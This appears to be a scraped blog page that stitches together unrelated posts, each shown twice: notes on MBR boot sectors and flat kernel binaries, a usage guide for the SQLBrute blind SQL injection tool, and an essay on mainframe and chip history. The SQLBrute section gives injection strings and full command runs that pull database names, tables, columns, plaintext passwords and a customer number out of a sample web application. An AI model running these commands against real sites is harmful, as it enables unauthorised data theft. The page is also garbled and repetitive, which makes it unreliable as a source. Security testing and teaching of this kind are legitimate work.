A device is "bootable" if it carries a boot sector with the byte sequence 0x55, 0xAA in bytes 511 and 512 respectively. When the BIOS finds such a boot sector, it is loaded into memory at a specific location; this is usually 0x0000:0x7c00 (segment 0, address 0x7c00). However, some BIOS' load to 0x7c0:0x0000 (segment 0x07c0, offset 0), which resolves to the same physical address, but can be surprising.
When the wrong CS:IP pair is assumed, absolute near jumps will not work properly, and any code like mov ax,cs; mov ds,ax will result in unexpected variable locations. A good practice is to enforce CS:IP at the very start of your boot sector.
ORG 0x7C00
jmp 0x0000:start
start:
or
ORG 0
jmp 0x07C0:start
start:
On a hard drive, the so-called Master Boot Record (MBR) holds executable code at offset 0x0000 - 0x01bd, followed by table entries for the four primary partitions, using sixteen bytes per entry (0x01be - 0x01fd), and the two-byte signature (0x01fe - 0x01ff).
The layout of the table entries is as follows:
Offset Size (bytes) Description
0x00 1 Boot Indicator (0x80=bootable, 0x00=not bootable)
0x01 1 Starting Head Number
0x02 2 Starting Cylinder Number (10 bits) and Sector (6 bits)
0x04 1 Descriptor (Type of partition/filesystem)
0x05 1 Ending Head Number
0x06 2 Ending Cylinder and Sector numbers
0x08 4 Starting Sector (relative to begining of disk)
0x0C 4 Number of Sectors in partition
Kernel Image
Now we jump two steps ahead and look at where we want to go: Our kernel image. Your boot record would be easiest if it could just copy the kernel image from disk to memory and jump to some given offset. Unfortunately, unless you take extra precautions, your compiler adds all sort of startup code, relocation tables etc. To get a "flat binary" that can be loaded in this simple copy-and-run way, you have to tell GCC:
gcc -c my_kernel.c
ld my_kernel.o -o kernel.bin --oformat=binary -Ttext=0x100000
The -c switch tells GCC to stop right after compilation, i.e. not to link the object file.
The --oformat=binary switch tells the linker you want your output file to be a plain binary image (no startup code, no relocations, ...)
The -Ttext=0x100000 tells the linker you want your "text" (code segment) address to start at the 1mb memory mark. Since you do not link in any relocation tables, the linker has to resolve all references at link time, and has to know where the executable will be loaded to.
You are of course obliged to load your kernel image to the correct offset, or the references the linker did set up will be invalid
computer science concepts
linux tutorial
unix
Intoduction
operating system concept
When a computer starts up ( obviously by pressing the power button), the first thing that occurs is it send a signal to motherboard which in turn starts the power supply. After supplying the correct amount of power to each device, it send a signal called "Power OK" to BIOS which resides on motherboard.
Once the BIOS receive the "Power OK" signal, it starts the booting process by first initializing a process called POST (Power On Self Test). POST first check that every device has right amount of power and then it check whether the memory is not corrupted. Then it initialize each devices and finally it gives control to BIOS for further booting.
Now the final process of booting begins. For this the BIOS first find 512 bytes of image called MBR (Master Boot Record) or Bootsector from the floppy disk or hard disk which is used for booting. The priority of boot devices is set by the user in BIOS setting. The normal priority is floppy disk first, then hard disk.
Once BIOS finds the bootsector it loads the image in memory and execute it. If a valid bootsector is not found, BIOS check for next drive in boot sequence until it find valid bootsector. If BIOS fails to get valid bootsector, generally it stops the execution and gives an error message "Disk boot failure".
It is bootsectors responsibility to load the operating system in memory and execute it.
Master Boot Record
A device is "bootable" if it carries a boot sector with the byte sequence 0x55, 0xAA in bytes 511 and 512 respectively. When the BIOS finds such a boot sector, it is loaded into memory at a specific location; this is usually 0x0000:0x7c00 (segment 0, address 0x7c00). However, some BIOS' load to 0x7c0:0x0000 (segment 0x07c0, offset 0), which resolves to the same physical address, but can be surprising.
When the wrong CS:IP pair is assumed, absolute near jumps will not work properly, and any code like mov ax,cs; mov ds,ax will result in unexpected variable locations. A good practice is to enforce CS:IP at the very start of your boot sector.
ORG 0x7C00
jmp 0x0000:start
start:
or
ORG 0
jmp 0x07C0:start
start:
On a hard drive, the so-called Master Boot Record (MBR) holds executable code at offset 0x0000 - 0x01bd, followed by table entries for the four primary partitions, using sixteen bytes per entry (0x01be - 0x01fd), and the two-byte signature (0x01fe - 0x01ff).
The layout of the table entries is as follows:
Offset Size (bytes) Description
0x00 1 Boot Indicator (0x80=bootable, 0x00=not bootable)
0x01 1 Starting Head Number
0x02 2 Starting Cylinder Number (10 bits) and Sector (6 bits)
0x04 1 Descriptor (Type of partition/filesystem)
0x05 1 Ending Head Number
0x06 2 Ending Cylinder and Sector numbers
0x08 4 Starting Sector (relative to begining of disk)
0x0C 4 Number of Sectors in partition
Kernel Image
Now we jump two steps ahead and look at where we want to go: Our kernel image. Your boot record would be easiest if it could just copy the kernel image from disk to memory and jump to some given offset. Unfortunately, unless you take extra precautions, your compiler adds all sort of startup code, relocation tables etc. To get a "flat binary" that can be loaded in this simple copy-and-run way, you have to tell GCC:
gcc -c my_kernel.c
ld my_kernel.o -o kernel.bin --oformat=binary -Ttext=0x100000
The -c switch tells GCC to stop right after compilation, i.e. not to link the object file.
The --oformat=binary switch tells the linker you want your output file to be a plain binary image (no startup code, no relocations, ...)
The -Ttext=0x100000 tells the linker you want your "text" (code segment) address to start at the 1mb memory mark. Since you do not link in any relocation tables, the linker has to resolve all references at link time, and has to know where the executable will be loaded to.
You are of course obliged to load your kernel image to the correct offset, or the references the linker did set up will be invalid
computer science concepts
linux tutorial
unix
SQL bruit theory
Update - An update to SQLBrute (version 1.0) has been released (including a Windows binary version). This is probably going to be the final version in Python - I've started rewriting the tool as a Windows GUI application in .NET, so look forward to a point-and-brute-force version soon.
Since SQLBrute has been linked to from the Oedipus Web Scanner as a possible exploit tool, I thought I might write some basic usage notes for it... especially since the tool is not at all idiot proof...as evidenced by the fact that I sometimes have trouble running it.
COMPUTER SCIENCE THE COMPLETE REFERENCE
SQLBrute is a tool for brute forcing data out of databases using blind SQL injection vulnerabilities. It supports time based and error based exploit types on Microsoft SQL Server, and error based exploit on Oracle. It is written in Python, uses multi-threading, and doesn't require non-standard libraries (there is some code in there for pycurl, but it is disabled because it isn't finished).
For error based SQL injection, SQLBrute should work, if you can either:
* Get an identifiable difference between adding the exploit strings AND 1=1 and AND 1=2 to your SQL injection point (usually works if the query is normally valid)
* Get an identifiable difference between adding the exploit strings OR 1=1 and OR 1=2 to your SQL injection point (usually works if the query is normally invalid)
For time based SQL injection, SQLBrute should work if you can use exploit syntax similar to ;waitfor delay '0:0:5' to generate a time delay in Microsoft SQL Server.
Here is the options printed from SQLBrute when you run it with no options:
SQL command line options
___ _____ __ ____ ____ __ __ ____ ____
/ __)( _ )( ) ( _ \( _ \( )( )(_ _)( ___)
\__ \ )(_)( )(__ ) _ < ) / )(__)( )( )__)
(___/(___/\\(____)(____/(_)\_)(______) (__) (____)
Usage: ./sqlbrute.py options url
[--help|-h]
[--verbose|-v]
[--server|-d oracle|sqlserver]
[--error|-e regex]
[--threads|-s number]
[--cookie|-k string]
[--time|-n]
[--data|-p string]
[--database|-f database]
[--table|-t table]
[--column|-c column]
[--where|-w column=data]
[--header|-x header::val]
The only required command line option is the URL. If the vulnerable parameter is on the URL (i.e. in the querystring), that parameter needs to be on the end of the URL and in a format that SQL can be added on the end (i.e. param=foo' is sufficient in a lot of cases).
If the vulnerable parameter is in the POST data, you need to specify a --data option (see below), and have the vulnerable parameter at the end (as for a URL parameter, including a single quote or whatever is needed for the SQL injection point). The tool assumes that it can terminate the SQL using --, and also assumes that you're not going to be exploiting querystring variables on a POST.
Several of the options are for including required information in the requests to the server. You may need to wrap arguments in double quotes because of spaces and special characters in the data:
* --data allows you to specify POST data for a form post. Takes a string containing all the data as an argument
* --cookie allows you to specify the cookies to be supplied. Takes a string containing all the cookies as an argument
* --header allows you to specify arbitrary HTTP headers to include in the request (e.g. Accepts headers or similar). The header name and value need to be supplied as a single argument of the form header::value
Other options modify the default behaviour of the tool:
* --server forces the tool to use Oracle or SQL Server exploit techniques. This is needed because the tool defaults to SQL Server, and won't intelligently detect that Oracle is in use
* --threads specifies how many worker threads the tool will use to send requests. This defaults to 5, however this should be reduced if you are getting unreliable results (especially when doing time based testing). Setting this too high has a tendency to max the CPU on your machine, and have bad effects on the machine you're testing
* --time forces the tool to use time based testing instead of error based testing
* --verbose turns on verbose output. By default the tool doesn't output anything until it has completely enumerated an entry, which can lead to wondering whether it is actually doing anything. Using verbose once will output preliminary results - allowing you to see that its working. Using verbose twice will output requests and responses to allow debug issues with the tool
* --output allows us to specify an output file for the results. Otherwise the only results we will get will be to stdout
The remainder of the options specify the data to be brute forced from the database:
* --error specifies a regular expression to look for that appears in one of the AND or OR cases noted above. Usually this will be something identifiable such as an error message, or a message noting that no results were found
* --database (SQL Server only) specifies what database to use for enumerating data
* --table specifies what table to use for enumerating data
* --column specifies what column to use for enumerating data
* --where allows us to filter what data to brute force out by specifying a WHERE clause when enumerating a column. The where data must be in the form column_name=data (i.e. WHERE foo=bar)
The tool is designed to be used in a logical progression:
* Running the tool without specifying a database, table, or column parameter will enumerate the list of databases for SQL Server, and the list of user tables for Oracle
* Running the tool with the name of a database (SQL Server only) will enumerate the list of tables
* Running the tool with a table parameter (plus database parameter for SQL Server) will enumerate the columns in that table
* Running the tool with a column parameter (with table and database parameters if applicable) will enumerate the data in that column of that parameter. You can then find matching values in other columns of the table through using a --where command line option
And here is an example of enumeration from beginning to end on a sample application to see how this all works. In this example there is a SQL injection error in this ASP/SQL Server application on the locator.asp page. This is exploited through a POST, and the vulnerable parameter is the county parameter:
Enumerating databases
./sqlbrute.py --data "searchtype=county&county=GM'" \
--error "NO RESULTS" http://192.168.182.128/locator.asp
This program will currently exit 60 seconds after the last
response comes in.
Found: msdb
Found: pubs
Found: model
Found: tempdb
Found: master
Found: webapp
Enumerating tables
./sqlbrute.py --data "searchtype=county&county=GM'" \
--error "NO RESULTS" --database webapp \
http://192.168.182.128/locator.asp
This program will currently exit 60 seconds after the last
response comes in.
Found: myview
Found: locator
Found: customer
Found: postings
Found: responses
Found: dtproperties
Found: fresh_postings
Found: fresh_responses
Enumerating columns
./sqlbrute.py --data "searchtype=county&county=GM'" \
--error "NO RESULTS" --database webapp --table customer \
http://192.168.182.128/locator.asp
This program will currently exit 60 seconds after the last
response comes in.
Found: city
Found: email
Found: lname
Found: fname
Found: mname
Found: phone
Found: endbal
Found: county
Found: begbal
Found: address
Found: custnum
Found: deposits
Found: password
Found: postcode
Found: withdrawals
Enumerating passwords
./sqlbrute.py --data "searchtype=county&county=GM'" \
--error "NO RESULTS" --database webapp --table customer \
--column password http://192.168.182.128/locator.asp
This program will currently exit 60 seconds after the last
response comes in.
Found: dog
Found: test
Found: hawk
Found: loki
Found: fish
Found: buzz
Enumerating the customer number for a specific password
./sqlbrute.py --data "searchtype=county&county=GM'" \
--error "NO RESULTS" --database webapp --table customer \
--column custnum --where password=dog \
http://192.168.182.128/locator.asp
This program will currently exit 60 seconds after the last
response comes in.
Found: 1.036512520000000e+008
Since SQLBrute has been linked to from the Oedipus Web Scanner as a possible exploit tool, I thought I might write some basic usage notes for it... especially since the tool is not at all idiot proof...as evidenced by the fact that I sometimes have trouble running it.
COMPUTER SCIENCE THE COMPLETE REFERENCE
SQLBrute is a tool for brute forcing data out of databases using blind SQL injection vulnerabilities. It supports time based and error based exploit types on Microsoft SQL Server, and error based exploit on Oracle. It is written in Python, uses multi-threading, and doesn't require non-standard libraries (there is some code in there for pycurl, but it is disabled because it isn't finished).
For error based SQL injection, SQLBrute should work, if you can either:
* Get an identifiable difference between adding the exploit strings AND 1=1 and AND 1=2 to your SQL injection point (usually works if the query is normally valid)
* Get an identifiable difference between adding the exploit strings OR 1=1 and OR 1=2 to your SQL injection point (usually works if the query is normally invalid)
For time based SQL injection, SQLBrute should work if you can use exploit syntax similar to ;waitfor delay '0:0:5' to generate a time delay in Microsoft SQL Server.
Here is the options printed from SQLBrute when you run it with no options:
SQL command line options
___ _____ __ ____ ____ __ __ ____ ____
/ __)( _ )( ) ( _ \( _ \( )( )(_ _)( ___)
\__ \ )(_)( )(__ ) _ < ) / )(__)( )( )__)
(___/(___/\\(____)(____/(_)\_)(______) (__) (____)
Usage: ./sqlbrute.py options url
[--help|-h]
[--verbose|-v]
[--server|-d oracle|sqlserver]
[--error|-e regex]
[--threads|-s number]
[--cookie|-k string]
[--time|-n]
[--data|-p string]
[--database|-f database]
[--table|-t table]
[--column|-c column]
[--where|-w column=data]
[--header|-x header::val]
The only required command line option is the URL. If the vulnerable parameter is on the URL (i.e. in the querystring), that parameter needs to be on the end of the URL and in a format that SQL can be added on the end (i.e. param=foo' is sufficient in a lot of cases).
If the vulnerable parameter is in the POST data, you need to specify a --data option (see below), and have the vulnerable parameter at the end (as for a URL parameter, including a single quote or whatever is needed for the SQL injection point). The tool assumes that it can terminate the SQL using --, and also assumes that you're not going to be exploiting querystring variables on a POST.
Several of the options are for including required information in the requests to the server. You may need to wrap arguments in double quotes because of spaces and special characters in the data:
* --data allows you to specify POST data for a form post. Takes a string containing all the data as an argument
* --cookie allows you to specify the cookies to be supplied. Takes a string containing all the cookies as an argument
* --header allows you to specify arbitrary HTTP headers to include in the request (e.g. Accepts headers or similar). The header name and value need to be supplied as a single argument of the form header::value
Other options modify the default behaviour of the tool:
* --server forces the tool to use Oracle or SQL Server exploit techniques. This is needed because the tool defaults to SQL Server, and won't intelligently detect that Oracle is in use
* --threads specifies how many worker threads the tool will use to send requests. This defaults to 5, however this should be reduced if you are getting unreliable results (especially when doing time based testing). Setting this too high has a tendency to max the CPU on your machine, and have bad effects on the machine you're testing
* --time forces the tool to use time based testing instead of error based testing
* --verbose turns on verbose output. By default the tool doesn't output anything until it has completely enumerated an entry, which can lead to wondering whether it is actually doing anything. Using verbose once will output preliminary results - allowing you to see that its working. Using verbose twice will output requests and responses to allow debug issues with the tool
* --output allows us to specify an output file for the results. Otherwise the only results we will get will be to stdout
The remainder of the options specify the data to be brute forced from the database:
* --error specifies a regular expression to look for that appears in one of the AND or OR cases noted above. Usually this will be something identifiable such as an error message, or a message noting that no results were found
* --database (SQL Server only) specifies what database to use for enumerating data
* --table specifies what table to use for enumerating data
* --column specifies what column to use for enumerating data
* --where allows us to filter what data to brute force out by specifying a WHERE clause when enumerating a column. The where data must be in the form column_name=data (i.e. WHERE foo=bar)
The tool is designed to be used in a logical progression:
* Running the tool without specifying a database, table, or column parameter will enumerate the list of databases for SQL Server, and the list of user tables for Oracle
* Running the tool with the name of a database (SQL Server only) will enumerate the list of tables
* Running the tool with a table parameter (plus database parameter for SQL Server) will enumerate the columns in that table
* Running the tool with a column parameter (with table and database parameters if applicable) will enumerate the data in that column of that parameter. You can then find matching values in other columns of the table through using a --where command line option
And here is an example of enumeration from beginning to end on a sample application to see how this all works. In this example there is a SQL injection error in this ASP/SQL Server application on the locator.asp page. This is exploited through a POST, and the vulnerable parameter is the county parameter:
Enumerating databases
./sqlbrute.py --data "searchtype=county&county=GM'" \
--error "NO RESULTS" http://192.168.182.128/locator.asp
This program will currently exit 60 seconds after the last
response comes in.
Found: msdb
Found: pubs
Found: model
Found: tempdb
Found: master
Found: webapp
Enumerating tables
./sqlbrute.py --data "searchtype=county&county=GM'" \
--error "NO RESULTS" --database webapp \
http://192.168.182.128/locator.asp
This program will currently exit 60 seconds after the last
response comes in.
Found: myview
Found: locator
Found: customer
Found: postings
Found: responses
Found: dtproperties
Found: fresh_postings
Found: fresh_responses
Enumerating columns
./sqlbrute.py --data "searchtype=county&county=GM'" \
--error "NO RESULTS" --database webapp --table customer \
http://192.168.182.128/locator.asp
This program will currently exit 60 seconds after the last
response comes in.
Found: city
Found: email
Found: lname
Found: fname
Found: mname
Found: phone
Found: endbal
Found: county
Found: begbal
Found: address
Found: custnum
Found: deposits
Found: password
Found: postcode
Found: withdrawals
Enumerating passwords
./sqlbrute.py --data "searchtype=county&county=GM'" \
--error "NO RESULTS" --database webapp --table customer \
--column password http://192.168.182.128/locator.asp
This program will currently exit 60 seconds after the last
response comes in.
Found: dog
Found: test
Found: hawk
Found: loki
Found: fish
Found: buzz
Enumerating the customer number for a specific password
./sqlbrute.py --data "searchtype=county&county=GM'" \
--error "NO RESULTS" --database webapp --table customer \
--column custnum --where password=dog \
http://192.168.182.128/locator.asp
This program will currently exit 60 seconds after the last
response comes in.
Found: 1.036512520000000e+008
Mainframe computer
over the past 20 years, the computer industry has re-invented
itself several times. In the late 1970’s most business in North
America was using a form of mainframe computer architecture
which was created by IBM engineers in the 1960’s and
refined by technology inventors including Honeywell, Burroughs,
Digital Equipment, Hitachi Data Systems, and others. These
systems used simple operating systems to run a single version of an
application to handle mostly accounting applications.
As new technology for chip design was patented, developed for mass
manufacturing, it was packaged in small computers for use by small
business. This provided an explosive opportunity for more people to
become introduced to the benefits of automated accounting, which saved
people time and increased the accuracy of information. During the early
1980’s, the industry thrived with the creation of new business applications
for use in municipal governments, hospitals, classroom education,
building construction, and engineering.
The pace of new technology increased again as the Personal Computer
model was invented by Apple Computers and IBM. With Microsoft software
for Operating Systems, Spreadsheets and Word Processing,
individuals could use a computer for daily information. People in all
walks of life began creating applications to simplify cooking, writing,
homework and any task imaginable.
With the use of 3 different methods of computing: mainframe, distributed
and personal systems, many organizations changed their methods
of business to achieve more efficiencies, growth and profit. This was
also fueled by the business trend to decentralize operations, outsource
processing and empower people to run their own piece of the
organization.
In the late 1980’s, the computer industry created another major advancement
with the introduction of UNIX. The concept was to allow
application developers a common operating system with which to
deliver applications. Using the University of Berkeley kernel, several
manufacturer’s including SUN, Digital, IBM, HP, and SCO packaged
additional support function into this kernel to provide higher levels of
reliability, availability and security. During the 1990’s, this evolved into
common, but unique operating systems that minimized the ability for
applications to become portable across different hardware vendors.
Many would argue that UNIX has failed to deliver the true heterogeneous
model it was intended for. The newest attempt is seen in the
LINUX operating system.
The next major breakthrough in computing has been the development of
the Internet as a delivery mechanism for computing. As we have seen,
the Internet has changed everything, and is evolving rapidly as the main
architecture for global communications.
One of the major impacts of Internet usage has been the massive amount
of information that is being gathered and created, i.e. DNA and Genome
mapping and stored on computers. Industry estimates have stated that
the total amount of information in the world will double every 2-3 years.
The effect of this is being seen in the business world with introductions
of Enterprise Resource Management (ERP), Supply Chain Management
(SCM), Customer Relationship Management (CRM), Business Intelligence
(BI), E-Commerce and many other major applications that are
connecting suppliers and customers together.
The cumulative effect of this explosion of computing demand has
caused business and government organizations to begin thinking about
centralization of information technology. IT managers are struggling
with support, costs are increasing and a general feeling that IT is falling
behind, resulting in potential disasters such as the Year 2000 situation
and more recently, Sept. 11 in New York.
There are several bright spots in the technology sector which are just
now being refined and delivered to the marketplace. These include Copper
Chip Technology, Silicon on Insulator (SOI) and Logical
Partitioning (LPAR). Each of these technologies offers substantial
potential in creating the computing architecture that is required to manage
the demand for computing.
IBM has lead the way with the patents and manufacturing development
of Copper and SOI. In 1997, fulfilling a dream of several decades, IBM
introduced a technology that allows chipmakers to use copper wires,
rather than the traditional aluminum interconnects, to link transistors in
chips.
Every chip has a base layer of transistors, with layers of wiring stacked
above to connect the transistors to each other and, ultimately, to the rest
of the computer. The transistors as the first level of a chip are a complex
construction of silicon, metal, and impurities precisely located to
create the millions of minuscule on-or-off switches that make up the
brains of a microprocessor. Aluminum has long been the conductor of
choice, but it will soon reach technological and physical limits of existing
technology. Pushing electrons through smaller and smaller conduits
becomes harder to do – aluminum just isn’t fast enough for these new,
smaller sizes.
Scientists had seen this problem coming for years and tried to find a
way to replace aluminum with the three metals that conduct electricity
better: copper, silver, or gold. Of course, if that was simple, it would
have been done a long time ago. None of those metals is as easy to
work with as aluminum in decreasing amounts. Any new material presents
fresh challenges, and reliably filling submicron channels is a bit
like filling the holes of a golf course from an airplane.
IBM had to develop a diffusion barrier that could buffer silicon wafers
along with the copper. The company has now announced the first commercially
viable implementation of Silicon-on-Wafer (SOI) and the
ability to apply it in building fully functional microprocessors. SOI
refers to the process of implanting oxygen into a silicon wafer to create
an insulating layer and using an annealing process until a thin layer of
SOI is formed. The transistors are then built on top of this thin layer.
SOI technology improves performance over bulk CMOS by 25-35%. It
also brings power usage advantages of 1.7 to 3 times, creates higher
performance and reliability per processor.
computer engineers
itself several times. In the late 1970’s most business in North
America was using a form of mainframe computer architecture
which was created by IBM engineers in the 1960’s and
refined by technology inventors including Honeywell, Burroughs,
Digital Equipment, Hitachi Data Systems, and others. These
systems used simple operating systems to run a single version of an
application to handle mostly accounting applications.
As new technology for chip design was patented, developed for mass
manufacturing, it was packaged in small computers for use by small
business. This provided an explosive opportunity for more people to
become introduced to the benefits of automated accounting, which saved
people time and increased the accuracy of information. During the early
1980’s, the industry thrived with the creation of new business applications
for use in municipal governments, hospitals, classroom education,
building construction, and engineering.
The pace of new technology increased again as the Personal Computer
model was invented by Apple Computers and IBM. With Microsoft software
for Operating Systems, Spreadsheets and Word Processing,
individuals could use a computer for daily information. People in all
walks of life began creating applications to simplify cooking, writing,
homework and any task imaginable.
With the use of 3 different methods of computing: mainframe, distributed
and personal systems, many organizations changed their methods
of business to achieve more efficiencies, growth and profit. This was
also fueled by the business trend to decentralize operations, outsource
processing and empower people to run their own piece of the
organization.
In the late 1980’s, the computer industry created another major advancement
with the introduction of UNIX. The concept was to allow
application developers a common operating system with which to
deliver applications. Using the University of Berkeley kernel, several
manufacturer’s including SUN, Digital, IBM, HP, and SCO packaged
additional support function into this kernel to provide higher levels of
reliability, availability and security. During the 1990’s, this evolved into
common, but unique operating systems that minimized the ability for
applications to become portable across different hardware vendors.
Many would argue that UNIX has failed to deliver the true heterogeneous
model it was intended for. The newest attempt is seen in the
LINUX operating system.
The next major breakthrough in computing has been the development of
the Internet as a delivery mechanism for computing. As we have seen,
the Internet has changed everything, and is evolving rapidly as the main
architecture for global communications.
One of the major impacts of Internet usage has been the massive amount
of information that is being gathered and created, i.e. DNA and Genome
mapping and stored on computers. Industry estimates have stated that
the total amount of information in the world will double every 2-3 years.
The effect of this is being seen in the business world with introductions
of Enterprise Resource Management (ERP), Supply Chain Management
(SCM), Customer Relationship Management (CRM), Business Intelligence
(BI), E-Commerce and many other major applications that are
connecting suppliers and customers together.
The cumulative effect of this explosion of computing demand has
caused business and government organizations to begin thinking about
centralization of information technology. IT managers are struggling
with support, costs are increasing and a general feeling that IT is falling
behind, resulting in potential disasters such as the Year 2000 situation
and more recently, Sept. 11 in New York.
There are several bright spots in the technology sector which are just
now being refined and delivered to the marketplace. These include Copper
Chip Technology, Silicon on Insulator (SOI) and Logical
Partitioning (LPAR). Each of these technologies offers substantial
potential in creating the computing architecture that is required to manage
the demand for computing.
IBM has lead the way with the patents and manufacturing development
of Copper and SOI. In 1997, fulfilling a dream of several decades, IBM
introduced a technology that allows chipmakers to use copper wires,
rather than the traditional aluminum interconnects, to link transistors in
chips.
Every chip has a base layer of transistors, with layers of wiring stacked
above to connect the transistors to each other and, ultimately, to the rest
of the computer. The transistors as the first level of a chip are a complex
construction of silicon, metal, and impurities precisely located to
create the millions of minuscule on-or-off switches that make up the
brains of a microprocessor. Aluminum has long been the conductor of
choice, but it will soon reach technological and physical limits of existing
technology. Pushing electrons through smaller and smaller conduits
becomes harder to do – aluminum just isn’t fast enough for these new,
smaller sizes.
Scientists had seen this problem coming for years and tried to find a
way to replace aluminum with the three metals that conduct electricity
better: copper, silver, or gold. Of course, if that was simple, it would
have been done a long time ago. None of those metals is as easy to
work with as aluminum in decreasing amounts. Any new material presents
fresh challenges, and reliably filling submicron channels is a bit
like filling the holes of a golf course from an airplane.
IBM had to develop a diffusion barrier that could buffer silicon wafers
along with the copper. The company has now announced the first commercially
viable implementation of Silicon-on-Wafer (SOI) and the
ability to apply it in building fully functional microprocessors. SOI
refers to the process of implanting oxygen into a silicon wafer to create
an insulating layer and using an annealing process until a thin layer of
SOI is formed. The transistors are then built on top of this thin layer.
SOI technology improves performance over bulk CMOS by 25-35%. It
also brings power usage advantages of 1.7 to 3 times, creates higher
performance and reliability per processor.
computer engineers
Subscribe to:
Posts (Atom)